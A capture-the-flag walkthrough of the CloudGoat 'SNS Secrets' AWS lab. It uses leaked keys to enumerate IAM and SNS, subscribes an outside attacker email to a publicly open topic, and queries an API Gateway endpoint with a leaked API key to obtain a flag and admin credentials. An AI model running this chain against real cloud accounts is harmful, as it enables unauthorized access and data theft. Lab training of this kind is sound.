SNS Secrets (CloudGoat)
Quick note
often when we refer to attached policies it is simple a term meaning a policy (usually a managed policy) attached to a user, group, or role). So “attached policies” are typically managed policies linked to an entity.
Credentials & setting up
sns_user_access_key_id = AKIA4YM7GTDHMY5FW6QU
sns_user_secret_access_key = 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
#configure
aws configure --profile sns_user
AWS Access Key ID [None]: AKIA4YM7GTDHMY5FW6QU
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]: json
#whoami
aws sts get-caller-identity --profile sns_user
{
"UserId": "AIDA4YM7GTDHOBI5MDF3P",
"Account": "877044078798",
"Arn": "arn:aws:iam::877044078798:user/cg-sns-user-cgiduohs87zk12"
}
Enumeration
policy enumeration
1. List managed policies attached to the user
aws iam list-attached-user-policies --user-name cg-sns-user-cgiduohs87zk12 --profile sns_user
{
"AttachedPolicies": []
}
2. List inline policies
aws iam list-user-policies --user-name cg-sns-user-cgiduohs87zk12 --profile sns_user
{
"PolicyNames": [
"cg-sns-user-policy-cgiduohs87zk12"
]
}
3. Retrieve the inline policy document
aws iam get-user-policy --policy-name cg-sns-user-policy-cgiduohs87zk12 --user-name cg-sns-user-cgiduohs87zk12 --profile sns_user
jsonCopyEdit{
"UserName": "cg-sns-user-cgiduohs87zk12",
"PolicyName": "cg-sns-user-policy-cgiduohs87zk12",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"sns:Subscribe",
"sns:Receive",
"sns:ListSubscriptionsByTopic",
"sns:ListTopics",
"sns:GetTopicAttributes",
"iam:ListGroupsForUser",
"iam:ListUserPolicies",
"iam:GetUserPolicy",
"iam:ListAttachedUserPolicies",
"apigateway:GET"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": "apigateway:GET",
"Effect": "Deny",
"Resource": [
"arn:aws:apigateway:us-east-1::/apikeys",
"arn:aws:apigateway:us-east-1::/apikeys/*",
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/GET",
"arn:aws:apigateway:us-east-1::/restapis/*/methods/GET",
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration",
"arn:aws:apigateway:us-east-1::/restapis/*/integration",
"arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/*/integration"
]
}
]
}
}
As we can see within the policy, our user does possess permissions related to SNS
What is SNS
SNS: Amazon’s Simple Notification Service
is a fully managed messaging service provided by AWS that enables you to send notifications or messages to a large number of subscribers or other services in a scalable and reliable way.
What does it actually do?
Publish messages to topics: Meaning you create SNS topics (think of them as communication channels)
Subscribers receive messages: Subscribers to the topic (”Communication Channel”) get the message. Subscribers can be:
Email Addresses
SMS
AWS Lambda functions (can be interesting)
HTTP/HTTPS endpoints (wenhooks)
SQS queues
Mobile push notification
With our current permissions, we can enumerate the Simple Notification Service
Enumerating SNS
1. List all SNS topics
aws sns list-topics --profile sns_user
{
"Topics": [
{
"TopicArn": "arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12"
}
]
}
2. List subscriptions for the topic
aws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12 --profile sns_user
{
"Subscriptions": []
}
No subscriptions are currently associated with this topic.
3. View configuration details for the topic
aws sns get-topic-attributes --topic-arn arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12 --profile sns_user
jsonCopyEdit{
"Attributes": {
"Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":[\"sns:Subscribe\",\"sns:Receive\",\"sns:ListSubscriptionsByTopic\"],\"Resource\":\"arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12\"}]}",
"LambdaSuccessFeedbackSampleRate": "0",
"Owner": "877044078798",
"SubscriptionsPending": "0",
"TopicArn": "arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12",
"EffectiveDeliveryPolicy": "{\"http\":{\"defaultHealthyRetryPolicy\":{\"minDelayTarget\":20,\"maxDelayTarget\":20,\"numRetries\":3,\"numMaxDelayRetries\":0,\"numNoDelayRetries\":0,\"numMinDelayRetries\":0,\"backoffFunction\":\"linear\"},\"disableSubscriptionOverrides\":false,\"defaultRequestPolicy\":{\"headerContentType\":\"text/plain; charset=UTF-8\"}}}",
"FirehoseSuccessFeedbackSampleRate": "0",
"SubscriptionsConfirmed": "0",
"SQSSuccessFeedbackSampleRate": "0",
"HTTPSuccessFeedbackSampleRate": "0",
"ApplicationSuccessFeedbackSampleRate": "0",
"DisplayName": "",
"SubscriptionsDeleted": "0"
}
}
We can see from the meta data there is a policy included for this particular topic
"Policy": "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": [\"sns:Subscribe\", \"sns:Receive\", \"sns:ListSubscriptionsByTopic\"],
\"Resource\": \"arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12\"
}
]
}"
this is the access control policy for the SNS topic
security implications: this allows any (”*”
Principal) to
subscribe to the topic
Receive messages from it
List who else is subscribed
This makes the topic (communication channel) publicly accessible and is generally insecure unless it’s intentional (i.e., for public event broadcasting)
Our next step would be to subscribe to this topic
For the following, i will use a disposable email address from https://www.sharklasers.com/inbox
Subscribing to the topic we found during the SNS enumeration
aws sns subscribe --topic-arn arn:aws:sns:us-east-1:877044078798:public-topic-cgiduohs87zk12 --protocol email --notification-endpoint attacker@sharklasers.com --region us-east-1 --profile sns_user { "SubscriptionArn": "pending confirmation" }
To continue, we will need to log in to our email endpoint

after confirming, we can see within the AWS console that our endpoint is subscribed

Now, if we wait a few minutes, we get an AWS notification message
we can query API Gateway REST APIs to find possible paths

aws apigateway get-rest-apis --region us-east-1 --profile sns_user
{
"items": [
{
"id": "kdf4gvzn4g",
"name": "cg-api-cgiduohs87zk12",
"description": "API for demonstrating leaked API key scenario",
"createdDate": "2025-07-09T22:43:36+10:00",
"apiKeySource": "HEADER",
"endpointConfiguration": {
"types": [
"EDGE"
],
"ipAddressType": "ipv4"
},
"tags": {
"Scenario": "iam_privesc_by_key_rotation",
"Stack": "CloudGoat"
},
"disableExecuteApiEndpoint": false,
"rootResourceId": "q6qk2gfrjg"
}
]
}
Enumerating API resources
With our newly found REST API we can enumerate for any sensitives API resources
aws apigateway get-resources \ > --rest-api-id kdf4gvzn4g \ > --region us-east-1 \ > --profile sns_user { "items": [ { "id": "nh1873", "parentId": "q6qk2gfrjg", "pathPart": "user-data", "path": "/user-data", "resourceMethods": { "GET": {} } }, { "id": "q6qk2gfrjg", "path": "/" } ] }
We can see we have discovered a API endpoint, before we can we can interact with the endpoint we still need to determine the deployment stage
aws apigateway get-stages \ > --rest-api-id kdf4gvzn4g \ > --region us-east-1 \ > --profile sns_user { "item": [ { "deploymentId": "ufto59", "stageName": "prod-cgiduohs87zk12", "cacheClusterEnabled": false, "cacheClusterStatus": "NOT_AVAILABLE", "methodSettings": {}, "tracingEnabled": false, "tags": { "Scenario": "iam_privesc_by_key_rotation", "Stack": "CloudGoat" }, "createdDate": "2025-07-09T22:43:41+10:00", "lastUpdatedDate": "2025-07-09T22:43:41+10:00" } ] }
Awesome, we now have the stageName we can continue to query the
/user-data
endpointQuery the
/user-data
Endpoint with the API keywe can craft a request with curl
curl -H "x-api-key: 45a3da610dc64703b10e273a4db135bf" \ https://kdf4gvzn4g.execute-api.us-east-1.amazonaws.com/prod-cgiduohs87zk12/user-data {"final_flag":"FLAG{SNS_S3cr3ts_ar3_FUN}","message":"Access granted","user_data":{"email":"SuperAdmin@notarealemail.com","password":"p@ssw0rd123","user_id":"1337","username":"SuperAdmin"}}
And with this, we have found both the flag and the admin's credentials.
Last updated